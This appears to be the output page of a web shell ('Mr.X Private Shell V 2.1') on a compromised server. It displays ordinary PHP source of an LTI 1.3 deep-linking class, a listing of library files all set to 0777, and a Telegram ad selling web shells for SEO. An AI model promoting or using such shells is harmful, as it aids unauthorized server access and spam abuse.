__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Packback\Lti1p3;
use Firebase\JWT\JWT;
use Packback\Lti1p3\Interfaces\ILtiRegistration;
class LtiDeepLink
{
public function __construct(
private ILtiRegistration $registration,
private string $deployment_id,
private array $deep_link_settings
) {
}
public function getResponseJwt(array $resources): string
{
$message_jwt = [
'iss' => $this->registration->getClientId(),
'aud' => [$this->registration->getIssuer()],
'exp' => time() + 600,
'iat' => time(),
'nonce' => LtiOidcLogin::secureRandomString('nonce-'),
LtiConstants::DEPLOYMENT_ID => $this->deployment_id,
LtiConstants::MESSAGE_TYPE => LtiConstants::MESSAGE_TYPE_DEEPLINK_RESPONSE,
LtiConstants::VERSION => LtiConstants::V1_3,
LtiConstants::DL_CONTENT_ITEMS => array_map(function ($resource) {
return $resource->toArray();
}, $resources),
];
// https://www.imsglobal.org/spec/lti-dl/v2p0/#deep-linking-request-message
// 'data' is an optional property which, if it exists, must be returned by the tool
if (isset($this->deep_link_settings['data'])) {
$message_jwt[LtiConstants::DL_DATA] = $this->deep_link_settings['data'];
}
return JWT::encode($message_jwt, $this->registration->getToolPrivateKey(), 'RS256', $this->registration->getKid());
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Concerns | Folder | 0777 |
|
|
| DeepLinkResources | Folder | 0777 |
|
|
| Helpers | Folder | 0777 |
|
|
| Interfaces | Folder | 0777 |
|
|
| MessageValidators | Folder | 0777 |
|
|
| JwksEndpoint.php | File | 1.42 KB | 0777 |
|
| Lti1p1Key.php | File | 1.44 KB | 0777 |
|
| LtiAbstractService.php | File | 1.37 KB | 0777 |
|
| LtiAssignmentsGradesService.php | File | 6.73 KB | 0777 |
|
| LtiConstants.php | File | 7.77 KB | 0777 |
|
| LtiCourseGroupsService.php | File | 2 KB | 0777 |
|
| LtiDeepLink.php | File | 1.44 KB | 0777 |
|
| LtiDeployment.php | File | 556 B | 0777 |
|
| LtiException.php | File | 92 B | 0777 |
|
| LtiGrade.php | File | 4.01 KB | 0777 |
|
| LtiGradeSubmissionReview.php | File | 1.75 KB | 0777 |
|
| LtiLineitem.php | File | 3.46 KB | 0777 |
|
| LtiMessageLaunch.php | File | 17.85 KB | 0777 |
|
| LtiNamesRolesProvisioningService.php | File | 976 B | 0777 |
|
| LtiOidcLogin.php | File | 3.54 KB | 0777 |
|
| LtiRegistration.php | File | 2.88 KB | 0777 |
|
| LtiServiceConnector.php | File | 7.59 KB | 0777 |
|
| OidcException.php | File | 93 B | 0777 |
|
| ServiceRequest.php | File | 4.53 KB | 0777 |
|